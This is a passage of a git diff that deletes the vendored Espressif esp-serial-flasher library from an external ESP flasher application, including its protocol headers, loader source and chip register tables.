gpio_dt_spec boot_spec; -} loader_zephyr_config_t; - -esp_loader_error_t loader_port_zephyr_init(const loader_zephyr_config_t *config); - -#ifdef __cplusplus -} -#endif - diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/private_include/esp_targets.h b/applications/external/esp_flasher/lib/esp-serial-flasher/private_include/esp_targets.h deleted file mode 100644 index cf8af91fa..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/private_include/esp_targets.h +++ /dev/null @@ -1,33 +0,0 @@ -/* Copyright 2020 Espressif Systems (Shanghai) PTE LTD - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -#pragma once - -#include -#include "esp_loader.h" - -typedef struct { - uint32_t cmd; - uint32_t usr; - uint32_t usr1; - uint32_t usr2; - uint32_t w0; - uint32_t mosi_dlen; - uint32_t miso_dlen; -} target_registers_t; - -esp_loader_error_t loader_detect_chip(target_chip_t *target, const target_registers_t **regs); -esp_loader_error_t loader_read_spi_config(target_chip_t target_chip, uint32_t *spi_config); -bool encryption_in_begin_flash_cmd(target_chip_t target); \ No newline at end of file diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/private_include/md5_hash.h b/applications/external/esp_flasher/lib/esp-serial-flasher/private_include/md5_hash.h deleted file mode 100644 index eb5738c8b..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/private_include/md5_hash.h +++ /dev/null @@ -1,28 +0,0 @@ -/* - * MD5 hash implementation and interface functions - * Copyright (c) 2003-2005, Jouni Malinen - * - * This software may be distributed under the terms of the BSD license. - * See README for more details. - */ - -#pragma once - -#include - -#ifdef __cplusplus -extern "C" { -#endif -struct MD5Context { - uint32_t buf[4]; - uint32_t bits[2]; - uint8_t in[64]; -}; - -void MD5Init(struct MD5Context *context); -void MD5Update(struct MD5Context *context, unsigned char const *buf, unsigned len); -void MD5Final(unsigned char digest[16], struct MD5Context *context); - -#ifdef __cplusplus -} -#endif \ No newline at end of file diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/private_include/protocol.h b/applications/external/esp_flasher/lib/esp-serial-flasher/private_include/protocol.h deleted file mode 100644 index fb8b086fd..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/private_include/protocol.h +++ /dev/null @@ -1,230 +0,0 @@ -/* Copyright 2020-2023 Espressif Systems (Shanghai) CO LTD - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -#pragma once - -#include -#include -#include "esp_loader.h" - -#ifdef __cplusplus -extern "C" { -#endif - -#define STATUS_FAILURE 1 -#define STATUS_SUCCESS 0 - -#define READ_DIRECTION 1 -#define WRITE_DIRECTION 0 - -#define MD5_SIZE 32 - -typedef enum __attribute__((packed)) -{ - FLASH_BEGIN = 0x02, - FLASH_DATA = 0x03, - FLASH_END = 0x04, - MEM_BEGIN = 0x05, - MEM_END = 0x06, - MEM_DATA = 0x07, - SYNC = 0x08, - WRITE_REG = 0x09, - READ_REG = 0x0a, - - SPI_SET_PARAMS = 0x0b, - SPI_ATTACH = 0x0d, - CHANGE_BAUDRATE = 0x0f, - FLASH_DEFL_BEGIN = 0x10, - FLASH_DEFL_DATA = 0x11, - FLASH_DEFL_END = 0x12, - SPI_FLASH_MD5 = 0x13, -} command_t; - -typedef enum __attribute__((packed)) -{ - RESPONSE_OK = 0x00, - INVALID_COMMAND = 0x05, // parameters or length field is invalid - COMMAND_FAILED = 0x06, // Failed to act on received message - INVALID_CRC = 0x07, // Invalid CRC in message - FLASH_WRITE_ERR = 0x08, // After writing a block of data to flash, the ROM loader reads the value back and the 8-bit CRC is compared to the data read from flash. If they don't match, this error is returned. - FLASH_READ_ERR = 0x09, // SPI read failed - READ_LENGTH_ERR = 0x0a, // SPI read request length is too long - DEFLATE_ERROR = 0x0b, // ESP32 compressed uploads only -} error_code_t; - -typedef struct __attribute__((packed)) -{ - uint8_t direction; - uint8_t command; // One of command_t - uint16_t size; - uint32_t checksum; -} command_common_t; - -typedef struct __attribute__((packed)) -{ - command_common_t common; - uint32_t erase_size; - uint32_t packet_count; - uint32_t packet_size; - uint32_t offset; - uint32_t encrypted; -} flash_begin_command_t; - -typedef struct __attribute__((packed)) -{ - command_common_t common; - uint32_t data_size; - uint32_t sequence_number; - uint32_t zero_0; - uint32_t zero_1; -} data_command_t; - -typedef struct __attribute__((packed)) -{ - command_common_t common; - uint32_t stay_in_loader; -} flash_end_command_t; - -typedef struct __attribute__((packed)) -{ - command_common_t common; - uint32_t total_size; - uint32_t blocks; - uint32_t block_size; - uint32_t offset; -} mem_begin_command_t; - -typedef struct __attribute__((packed)) -{ - command_common_t common; - uint32_t stay_in_loader; - uint32_t entry_point_address; -} mem_end_command_t; - -typedef struct __attribute__((packed)) -{ - command_common_t common; - uint8_t sync_sequence[36]; -} sync_command_t; - -typedef struct __attribute__((packed)) -{ - command_common_t common; - uint32_t address; - uint32_t value; - uint32_t mask; - uint32_t delay_us; -} write_reg_command_t; - -typedef struct __attribute__((packed)) -{ - command_common_t common; - uint32_t address; -} read_reg_command_t; - -typedef struct __attribute__((packed)) -{ - command_common_t common; - uint32_t configuration; - uint32_t zero; // ESP32 ROM only -} spi_attach_command_t; - -typedef struct __attribute__((packed)) -{ - command_common_t common; - uint32_t new_baudrate; - uint32_t old_baudrate; -} change_baudrate_command_t; - -typedef struct __attribute__((packed)) -{ - command_common_t common; - uint32_t address; - uint32_t size; - uint32_t reserved_0; - uint32_t reserved_1; -} spi_flash_md5_command_t; - -typedef struct __attribute__((packed)) -{ - uint8_t direction; - uint8_t command; // One of command_t - uint16_t size; - uint32_t value; -} common_response_t; - -typedef struct __attribute__((packed)) -{ - uint8_t failed; - uint8_t error; -} response_status_t; - -typedef struct __attribute__((packed)) -{ - common_response_t common; - response_status_t status; -} response_t; - -typedef struct __attribute__((packed)) -{ - common_response_t common; - uint8_t md5[MD5_SIZE]; // ROM only - response_status_t status; -} rom_md5_response_t; - -typedef struct __attribute__((packed)) -{ - command_common_t common; - uint32_t id; - uint32_t total_size; - uint32_t block_size; - uint32_t sector_size; - uint32_t page_size; - uint32_t status_mask; -} write_spi_command_t; - -esp_loader_error_t loader_initialize_conn(esp_loader_connect_args_t *connect_args); - -#ifdef SERIAL_FLASHER_INTERFACE_UART -esp_loader_error_t loader_flash_begin_cmd(uint32_t offset, uint32_t erase_size, uint32_t block_size, uint32_t blocks_to_write, bool encryption); - -esp_loader_error_t loader_flash_data_cmd(const uint8_t *data, uint32_t size); - -esp_loader_error_t loader_flash_end_cmd(bool stay_in_loader); - -esp_loader_error_t loader_sync_cmd(void); - -esp_loader_error_t loader_spi_attach_cmd(uint32_t config); - -esp_loader_error_t loader_md5_cmd(uint32_t address, uint32_t size, uint8_t *md5_out); - -esp_loader_error_t loader_spi_parameters(uint32_t total_size); -#endif /* SERIAL_FLASHER_INTERFACE_UART */ - -esp_loader_error_t loader_mem_begin_cmd(uint32_t offset, uint32_t size, uint32_t blocks_to_write, uint32_t block_size); - -esp_loader_error_t loader_mem_data_cmd(const uint8_t *data, uint32_t size); - -esp_loader_error_t loader_mem_end_cmd(uint32_t entrypoint); - -esp_loader_error_t loader_write_reg_cmd(uint32_t address, uint32_t value, uint32_t mask, uint32_t delay_us); - -esp_loader_error_t loader_read_reg_cmd(uint32_t address, uint32_t *reg); - -esp_loader_error_t loader_change_baudrate_cmd(uint32_t baudrate); - -#ifdef __cplusplus -} -#endif \ No newline at end of file diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/private_include/protocol_prv.h b/applications/external/esp_flasher/lib/esp-serial-flasher/private_include/protocol_prv.h deleted file mode 100644 index 3b9575606..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/private_include/protocol_prv.h +++ /dev/null @@ -1,31 +0,0 @@ -/* Copyright 2020-2023 Espressif Systems (Shanghai) CO LTD - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -#pragma once - -#include -#include -#include -#include "esp_loader.h" -#include "protocol.h" - -void log_loader_internal_error(error_code_t error); - -esp_loader_error_t send_cmd(const void *cmd_data, uint32_t size, uint32_t *reg_value); - -esp_loader_error_t send_cmd_with_data(const void *cmd_data, size_t cmd_size, - const void *data, size_t data_size); - -esp_loader_error_t send_cmd_md5(const void *cmd_data, size_t cmd_size, uint8_t md5_out[MD5_SIZE]); diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/private_include/slip.h b/applications/external/esp_flasher/lib/esp-serial-flasher/private_include/slip.h deleted file mode 100644 index 00f1f7d0d..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/private_include/slip.h +++ /dev/null @@ -1,28 +0,0 @@ -/* Copyright 2020-2023 Espressif Systems (Shanghai) CO LTD - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -#pragma once - -#include "esp_loader.h" -#include -#include - -esp_loader_error_t SLIP_receive_data(uint8_t *buff, size_t size); - -esp_loader_error_t SLIP_receive_packet(uint8_t *buff, size_t size); - -esp_loader_error_t SLIP_send(const uint8_t *data, size_t size); - -esp_loader_error_t SLIP_send_delimiter(void); diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/src/esp_loader.c b/applications/external/esp_flasher/lib/esp-serial-flasher/src/esp_loader.c deleted file mode 100644 index 6ef32673c..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/src/esp_loader.c +++ /dev/null @@ -1,415 +0,0 @@ -/* Copyright 2020-2023 Espressif Systems (Shanghai) CO LTD - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -#include "protocol.h" -#include "esp_loader_io.h" -#include "esp_loader.h" -#include "esp_targets.h" -#include "md5_hash.h" -#include -#include - -#ifndef MAX -#define MAX(a, b) ((a) > (b)) ? (a) : (b) -#endif - -#ifndef MIN -#define MIN(a, b) ((a) < (b)) ? (a) : (b) -#endif - -#ifndef ROUNDUP -#define ROUNDUP(a, b) (((int)a + (int)b - 1) / (int)b) -#endif - -static const uint32_t DEFAULT_TIMEOUT = 1000; -static const uint32_t DEFAULT_FLASH_TIMEOUT = 3000; // timeout for most flash operations -static const uint32_t LOAD_RAM_TIMEOUT_PER_MB = 2000000; // timeout (per megabyte) for erasing a region - -typedef enum { - SPI_FLASH_READ_ID = 0x9F -} spi_flash_cmd_t; - -static const target_registers_t *s_reg = NULL; -static target_chip_t s_target = ESP_UNKNOWN_CHIP; - -#if MD5_ENABLED - -static const uint32_t MD5_TIMEOUT_PER_MB = 800; -static struct MD5Context s_md5_context; -static uint32_t s_start_address; -static uint32_t s_image_size; - -static inline void init_md5(uint32_t address, uint32_t size) -{ - s_start_address = address; - s_image_size = size; - MD5Init(&s_md5_context); -} - -static inline void md5_update(const uint8_t *data, uint32_t size) -{ - MD5Update(&s_md5_context, data, size); -} - -static inline void md5_final(uint8_t digets[16]) -{ - MD5Final(digets, &s_md5_context); -} - -#else - -static inline void init_md5(uint32_t address, uint32_t size) { } -static inline void md5_update(const uint8_t *data, uint32_t size) { } -static inline void md5_final(uint8_t digets[16]) { } - -#endif - - -static uint32_t timeout_per_mb(uint32_t size_bytes, uint32_t time_per_mb) -{ - uint32_t timeout = time_per_mb * (size_bytes / 1e6); - return MAX(timeout, DEFAULT_FLASH_TIMEOUT); -} - -esp_loader_error_t esp_loader_connect(esp_loader_connect_args_t *connect_args) -{ - loader_port_enter_bootloader(); - - RETURN_ON_ERROR(loader_initialize_conn(connect_args)); - - RETURN_ON_ERROR(loader_detect_chip(&s_target, &s_reg)); - -#ifdef SERIAL_FLASHER_INTERFACE_UART - esp_loader_error_t err; - uint32_t spi_config; - if (s_target == ESP8266_CHIP) { - err = loader_flash_begin_cmd(0, 0, 0, 0, s_target); - } else { - RETURN_ON_ERROR( loader_read_spi_config(s_target, &spi_config) ); - loader_port_start_timer(DEFAULT_TIMEOUT); - err = loader_spi_attach_cmd(spi_config); - } - return err; -#endif /* SERIAL_FLASHER_INTERFACE_UART */ - return ESP_LOADER_SUCCESS; -} - -target_chip_t esp_loader_get_target(void) -{ - return s_target; -} - -#ifdef SERIAL_FLASHER_INTERFACE_UART -static uint32_t s_flash_write_size = 0; - -static esp_loader_error_t spi_set_data_lengths(size_t mosi_bits, size_t miso_bits) -{ - if (mosi_bits > 0) { - RETURN_ON_ERROR( esp_loader_write_register(s_reg->mosi_dlen, mosi_bits - 1) ); - } - if (miso_bits > 0) { - RETURN_ON_ERROR( esp_loader_write_register(s_reg->miso_dlen, miso_bits - 1) ); - } - - return ESP_LOADER_SUCCESS; -} - -static esp_loader_error_t spi_set_data_lengths_8266(size_t mosi_bits, size_t miso_bits) -{ - uint32_t mosi_mask = (mosi_bits == 0) ? 0 : mosi_bits - 1; - uint32_t miso_mask = (miso_bits == 0) ? 0 : miso_bits - 1; - return esp_loader_write_register(s_reg->usr1, (miso_mask << 8) | (mosi_mask << 17)); -} - -static esp_loader_error_t spi_flash_command(spi_flash_cmd_t cmd, void *data_tx, size_t tx_size, void *data_rx, size_t rx_size) -{ - assert(rx_size <= 32); // Reading more than 32 bits back from a SPI flash operation is unsupported - assert(tx_size <= 64); // Writing more than 64 bytes of data with one SPI command is unsupported - - uint32_t SPI_USR_CMD = (1 << 31); - uint32_t SPI_USR_MISO = (1 << 28); - uint32_t SPI_USR_MOSI = (1 << 27); - uint32_t SPI_CMD_USR = (1 << 18); - uint32_t CMD_LEN_SHIFT = 28; - - // Save SPI configuration - uint32_t old_spi_usr; - uint32_t old_spi_usr2; - RETURN_ON_ERROR( esp_loader_read_register(s_reg->usr, &old_spi_usr) ); - RETURN_ON_ERROR( esp_loader_read_register(s_reg->usr2, &old_spi_usr2) ); - - if (s_target == ESP8266_CHIP) { - RETURN_ON_ERROR( spi_set_data_lengths_8266(tx_size, rx_size) ); - } else { - RETURN_ON_ERROR( spi_set_data_lengths(tx_size, rx_size) ); - } - - uint32_t usr_reg_2 = (7 << CMD_LEN_SHIFT) | cmd; - uint32_t usr_reg = SPI_USR_CMD; - if (rx_size > 0) { - usr_reg |= SPI_USR_MISO; - } - if (tx_size > 0) { - usr_reg |= SPI_USR_MOSI; - } - - RETURN_ON_ERROR( esp_loader_write_register(s_reg->usr, usr_reg) ); - RETURN_ON_ERROR( esp_loader_write_register(s_reg->usr2, usr_reg_2 ) ); - - if (tx_size == 0) { - // clear data register before we read it - RETURN_ON_ERROR( esp_loader_write_register(s_reg->w0, 0) ); - } else { - uint32_t *data = (uint32_t *)data_tx; - uint32_t words_to_write = (tx_size + 31) / (8 * 4); - uint32_t data_reg_addr = s_reg->w0; - - while (words_to_write--) { - uint32_t word = *data++; - RETURN_ON_ERROR( esp_loader_write_register(data_reg_addr, word) ); - data_reg_addr += 4; - } - } - - RETURN_ON_ERROR( esp_loader_write_register(s_reg->cmd, SPI_CMD_USR) ); - - uint32_t trials = 10; - while (trials--) { - uint32_t cmd_reg; - RETURN_ON_ERROR( esp_loader_read_register(s_reg->cmd, &cmd_reg) ); - if ((cmd_reg & SPI_CMD_USR) == 0) { - break; - } - } - - if (trials == 0) { - return ESP_LOADER_ERROR_TIMEOUT; - } - - RETURN_ON_ERROR( esp_loader_read_register(s_reg->w0, data_rx) ); - - // Restore SPI configuration - RETURN_ON_ERROR( esp_loader_write_register(s_reg->usr, old_spi_usr) ); - RETURN_ON_ERROR( esp_loader_write_register(s_reg->usr2, old_spi_usr2) ); - - return ESP_LOADER_SUCCESS; -} - -static esp_loader_error_t detect_flash_size(size_t *flash_size) -{ - uint32_t flash_id = 0; - - RETURN_ON_ERROR( spi_flash_command(SPI_FLASH_READ_ID, NULL, 0, &flash_id, 24) ); - uint32_t size_id = flash_id >> 16; - - if (size_id < 0x12 || size_id > 0x18) { - return ESP_LOADER_ERROR_UNSUPPORTED_CHIP; - } - - *flash_size = 1 << size_id; - - return ESP_LOADER_SUCCESS; -} - -static uint32_t calc_erase_size(const target_chip_t target, const uint32_t offset, - const uint32_t image_size) -{ - if (target != ESP8266_CHIP) { - return image_size; - } else { - /* Needed to fix a bug in the ESP8266 ROM */ - const uint32_t sectors_per_block = 16U; - const uint32_t sector_size = 4096U; - - const uint32_t num_sectors = (image_size + sector_size - 1) / sector_size; - const uint32_t start_sector = offset / sector_size; - - uint32_t head_sectors = sectors_per_block - (start_sector % sectors_per_block); - - /* The ROM bug deletes extra num_sectors if we don't cross the block boundary - and extra head_sectors if we do */ - if (num_sectors <= head_sectors) { - return ((num_sectors + 1) / 2) * sector_size; - } else { - return (num_sectors - head_sectors) * sector_size; - } - } -} - -esp_loader_error_t esp_loader_flash_start(uint32_t offset, uint32_t image_size, uint32_t block_size) -{ - s_flash_write_size = block_size; - - size_t flash_size = 0; - if (detect_flash_size(&flash_size) == ESP_LOADER_SUCCESS) { - if (image_size > flash_size) { - return ESP_LOADER_ERROR_IMAGE_SIZE; - } - loader_port_start_timer(DEFAULT_TIMEOUT); - RETURN_ON_ERROR( loader_spi_parameters(flash_size) ); - } else { - loader_port_debug_print("Flash size detection failed, falling back to default"); - } - - init_md5(offset, image_size); - - bool encryption_in_cmd = encryption_in_begin_flash_cmd(s_target); - const uint32_t erase_size = calc_erase_size(esp_loader_get_target(), offset, image_size); - const uint32_t blocks_to_write = (image_size + block_size - 1) / block_size; - - const uint32_t erase_region_timeout_per_mb = 10000; - loader_port_start_timer(timeout_per_mb(erase_size, erase_region_timeout_per_mb)); - return loader_flash_begin_cmd(offset, erase_size, block_size, blocks_to_write, encryption_in_cmd); -} - - -esp_loader_error_t esp_loader_flash_write(void *payload, uint32_t size) -{ - uint32_t padding_bytes = s_flash_write_size - size; - uint8_t *data = (uint8_t *)payload; - uint32_t padding_index = size; - - if (size > s_flash_write_size) { - return ESP_LOADER_ERROR_INVALID_PARAM; - } - - const uint8_t padding_pattern = 0xFF; - while (padding_bytes--) { - data[padding_index++] = padding_pattern; - } - - md5_update(payload, (size + 3) & ~3); - - loader_port_start_timer(DEFAULT_TIMEOUT); - - return loader_flash_data_cmd(data, s_flash_write_size); -} - - -esp_loader_error_t esp_loader_flash_finish(bool reboot) -{ - loader_port_start_timer(DEFAULT_TIMEOUT); - - return loader_flash_end_cmd(!reboot); -} -#endif /* SERIAL_FLASHER_INTERFACE_UART */ - -esp_loader_error_t esp_loader_mem_start(uint32_t offset, uint32_t size, uint32_t block_size) -{ - uint32_t blocks_to_write = ROUNDUP(size, block_size); - loader_port_start_timer(timeout_per_mb(size, LOAD_RAM_TIMEOUT_PER_MB)); - return loader_mem_begin_cmd(offset, size, blocks_to_write, block_size); -} - - -esp_loader_error_t esp_loader_mem_write(const void *payload, uint32_t size) -{ - const uint8_t *data = (const uint8_t *)payload; - loader_port_start_timer(timeout_per_mb(size, LOAD_RAM_TIMEOUT_PER_MB)); - return loader_mem_data_cmd(data, size); -} - - -esp_loader_error_t esp_loader_mem_finish(uint32_t entrypoint) -{ - loader_port_start_timer(DEFAULT_TIMEOUT); - return loader_mem_end_cmd(entrypoint); -} - - -esp_loader_error_t esp_loader_read_register(uint32_t address, uint32_t *reg_value) -{ - loader_port_start_timer(DEFAULT_TIMEOUT); - - return loader_read_reg_cmd(address, reg_value); -} - - -esp_loader_error_t esp_loader_write_register(uint32_t address, uint32_t reg_value) -{ - loader_port_start_timer(DEFAULT_TIMEOUT); - - return loader_write_reg_cmd(address, reg_value, 0xFFFFFFFF, 0); -} - -esp_loader_error_t esp_loader_change_transmission_rate(uint32_t transmission_rate) -{ - if (s_target == ESP8266_CHIP) { - return ESP_LOADER_ERROR_UNSUPPORTED_FUNC; - } - - loader_port_start_timer(DEFAULT_TIMEOUT); - - return loader_change_baudrate_cmd(transmission_rate); -} - -#if MD5_ENABLED - -static void hexify(const uint8_t raw_md5[16], uint8_t hex_md5_out[32]) -{ - static const uint8_t dec_to_hex[] = { - '0', '1', '2', '3', '4', '5', '6', '7', - '8', '9', 'a', 'b', 'c', 'd', 'e', 'f' - }; - for (int i = 0; i < 16; i++) { - *hex_md5_out++ = dec_to_hex[raw_md5[i] >> 4]; - *hex_md5_out++ = dec_to_hex[raw_md5[i] & 0xF]; - } -} - - -esp_loader_error_t esp_loader_flash_verify(void) -{ - if (s_target == ESP8266_CHIP) { - return ESP_LOADER_ERROR_UNSUPPORTED_FUNC; - } - - uint8_t raw_md5[16] = {0}; - - /* Zero termination and new line character require 2 bytes */ - uint8_t hex_md5[MD5_SIZE + 2] = {0}; - uint8_t received_md5[MD5_SIZE + 2] = {0}; - - md5_final(raw_md5); - hexify(raw_md5, hex_md5); - - loader_port_start_timer(timeout_per_mb(s_image_size, MD5_TIMEOUT_PER_MB)); - - RETURN_ON_ERROR( loader_md5_cmd(s_start_address, s_image_size, received_md5) ); - - bool md5_match = memcmp(hex_md5, received_md5, MD5_SIZE) == 0; - - if (!md5_match) { - hex_md5[MD5_SIZE] = '\n'; - received_md5[MD5_SIZE] = '\n'; - - loader_port_debug_print("Error: MD5 checksum does not match:\n"); - loader_port_debug_print("Expected:\n"); - loader_port_debug_print((char *)received_md5); - loader_port_debug_print("Actual:\n"); - loader_port_debug_print((char *)hex_md5); - - return ESP_LOADER_ERROR_INVALID_MD5; - } - - return ESP_LOADER_SUCCESS; -} - -#endif - -void esp_loader_reset_target(void) -{ - loader_port_reset_target(); -} diff --git a/applications/external/esp_flasher/lib/esp-serial-flasher/src/esp_targets.c b/applications/external/esp_flasher/lib/esp-serial-flasher/src/esp_targets.c deleted file mode 100644 index 8764d2369..000000000 --- a/applications/external/esp_flasher/lib/esp-serial-flasher/src/esp_targets.c +++ /dev/null @@ -1,263 +0,0 @@ -/* Copyright 2020 Espressif Systems (Shanghai) PTE LTD - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -#include "esp_targets.h" -#include - -#define MAX_MAGIC_VALUES 2 - -typedef esp_loader_error_t (*read_spi_config_t)(uint32_t efuse_base, uint32_t *spi_config); - -typedef struct { - target_registers_t regs; - uint32_t efuse_base; - uint32_t chip_magic_value[MAX_MAGIC_VALUES]; - read_spi_config_t read_spi_config; - bool encryption_in_begin_flash_cmd; -} esp_target_t; - -// This ROM address has a different value on each chip model -#define CHIP_DETECT_MAGIC_REG_ADDR 0x40001000 - -#define ESP8266_SPI_REG_BASE 0x60000200 -#define ESP32S2_SPI_REG_BASE 0x3f402000 -#define ESP32xx_SPI_REG_BASE 0x60002000 -#define ESP32_SPI_REG_BASE 0x3ff42000 - -static esp_loader_error_t spi_config_esp32(uint32_t efuse_base, uint32_t *spi_config); -static esp_loader_error_t spi_config_esp32xx(uint32_t efuse_base, uint32_t *spi_config); - -static const esp_target_t esp_target[ESP_MAX_CHIP] = { - - // ESP8266 - { - .regs = { - .cmd = ESP8266_SPI_REG_BASE + 0x00, - .usr = ESP8266_SPI_REG_BASE + 0x1c, - .usr1 = ESP8266_SPI_REG_BASE + 0x20, - .usr2 = ESP8266_SPI_REG_BASE + 0x24, - .w0 = ESP8266_SPI_REG_BASE + 0x40, - .mosi_dlen = 0, - .miso_dlen = 0, - }, - .efuse_base = 0, // Not used - .chip_magic_value = { 0xfff0c101, 0 }, - .read_spi_config = NULL, // Not used - }, - - // ESP32 - { - .regs = { - .cmd = ESP32_SPI_REG_BASE + 0x00, - .usr = ESP32_SPI_REG_BASE + 0x1c, - .usr1 = ESP32_SPI_REG_BASE + 0x20, - .usr2 = ESP32_SPI_REG_BASE + 0x24, - .w0 = ESP32_SPI_REG_BASE + 0x80, - .mosi_dlen = ESP32_SPI_REG_BASE + 0x28, - .miso_dlen = ESP32_SPI_REG_BASE + 0x2c, - }, - .efuse_base = 0x3ff5A000, - .chip_magic_value = { 0x00f01d83, 0 }, - .read_spi_config = spi_config_esp32, - }, - - // ESP32S2 - { - .regs = { - .cmd = ESP32S2_SPI_REG_BASE + 0x00, - .usr = ESP32S2_SPI_REG_BASE + 0x18, - .usr1 = ESP32S2_SPI_REG_BASE + 0x1c, - .usr2 = ESP32S2_SPI_REG_BASE + 0x20, - .w0 = ESP32S2_SPI_REG_BASE + 0x58, - .mosi_dlen = ESP32S2_SPI_REG_BASE + 0x24, - .miso_dlen = ESP32S2_SPI_REG_BASE + 0x28, - }, - .efuse_base = 0x3f41A000, - .chip_magic_value = { 0x000007c6, 0 }, - .read_spi_config = spi_config_esp32xx, - }, - - // ESP32C3 - { - .regs = { - .cmd = ESP32xx_SPI_REG_BASE + 0x00, - .usr = ESP32xx_SPI_REG_BASE + 0x18, - .usr1 = ESP32xx_SPI_REG_BASE + 0x1c, - .usr2 = ESP32xx_SPI_REG_BASE + 0x20, - .w0 = ESP32xx_SPI_REG_BASE + 0x58, - .mosi_dlen = ESP32xx_SPI_REG_BASE + 0x24, - .miso_dlen = ESP32xx_SPI_REG_BASE + 0x28, - }, - .efuse_base = 0x60008800, - .chip_magic_value = { 0x6921506f, 0x1b31506f }, - .read_spi_config = spi_config_esp32xx, - }, - - // ESP32S3 - { - .regs = { - .cmd = ESP32xx_SPI_REG_BASE + 0x00, - .usr = ESP32xx_SPI_REG_BASE + 0x18, - .usr1 = ESP32xx_SPI_REG_BASE + 0x1c, - .usr2 = ESP32xx_SPI_REG_BASE + 0x20, - .w0 = ESP32xx_SPI_REG_BASE + 0x58, - .mosi_dlen = ESP32xx_SPI_REG_BASE + 0x24, - .miso_dlen = ESP32xx_SPI_REG_BASE + 0x28, - }, - .efuse_base = 0x60007000, - .chip_magic_value = { 0x00000009, 0 }, - .read_spi_config = spi_config_esp32xx, - }, - - // ESP32C2 - { - .regs = { - .cmd = ESP32xx_SPI_REG_BASE + 0x00, - .usr = ESP32xx_SPI_REG_BASE + 0x18, - .usr1 = ESP32xx_SPI_REG_BASE + 0x1c, - .usr2 = ESP32xx_SPI_REG_BASE + 0x20, - .w0 = ESP32xx_SPI_REG_BASE + 0x58, - .mosi_dlen = ESP32xx_SPI_REG_BASE + 0x24, - .miso_dlen = ESP32xx_SPI_REG_BASE + 0x28, - }, - .efuse_base = 0x60008800, - .chip_magic_value = { 0x6f51306f, 0x7c41a06f }, - .read_spi_config = spi_config_esp32xx, - }, - // ESP32H4 - { - .regs = { - .cmd = ESP32xx_SPI_REG_BASE + 0x00, - .usr = ESP32xx_SPI_REG_BASE + 0x18, - .usr1 = ESP32xx_SPI_REG_BASE + 0x1c, - .usr2 = ESP32xx_SPI_REG_BASE + 0x20, - .w0 = ESP32xx_SPI_REG_BASE + 0x58, - .mosi_dlen = ESP32xx_SPI_REG_BASE + 0x24, - .miso_dlen = ESP32xx_SPI_REG_BASE + 0x28, - }, - .efuse_base = 0x6001A000, - .chip_magic_value = {0xca26cc22, 0x6881b06f}, // ESP32H4-BETA1, ESP32H4-BETA2 - .read_spi_config = spi_config_esp32xx, - }, - // ESP32H2 - { - .regs = { - .cmd = ESP32xx_SPI_REG_BASE + 0x00, - .usr = ESP32xx_SPI_REG_BASE + 0x18, - .usr1 = ESP32xx_SPI_REG_BASE + 0x1c, - .usr2 = ESP32xx_SPI_REG_BASE + 0x20, - .w0 = ESP32xx_SPI_REG_BASE + 0x58, - .mosi_dlen = ESP32xx_SPI_REG_BASE + 0x24, - .miso_dlen = ESP32xx_SPI_REG_BASE + 0x28, - }, - .efuse_base = 0x6001A000, - .chip_magic_value = {0xd7b73e80, 0}, - .read_spi_config = spi_config_esp32xx, - }, -}; - -const target_registers_t *get_esp_target_data(target_chip_t chip) -{ - return (const target_registers_t *)&esp_target[chip]; -} - -esp_loader_error_t loader_detect_chip(target_chip_t *target_chip, const target_registers_t **target_data) -{ - uint32_t magic_value; - RETURN_ON_ERROR( esp_loader_read_register(CHIP_DETECT_MAGIC_REG_ADDR, &magic_value) ); - - for (int chip = 0; chip < ESP_MAX_CHIP; chip++) { - for(int index = 0; index < MAX_MAGIC_VALUES; index++) { - if (magic_value == esp_target[chip].chip_magic_value[index]) { - *target_chip = (target_chip_t)chip; - *target_data = 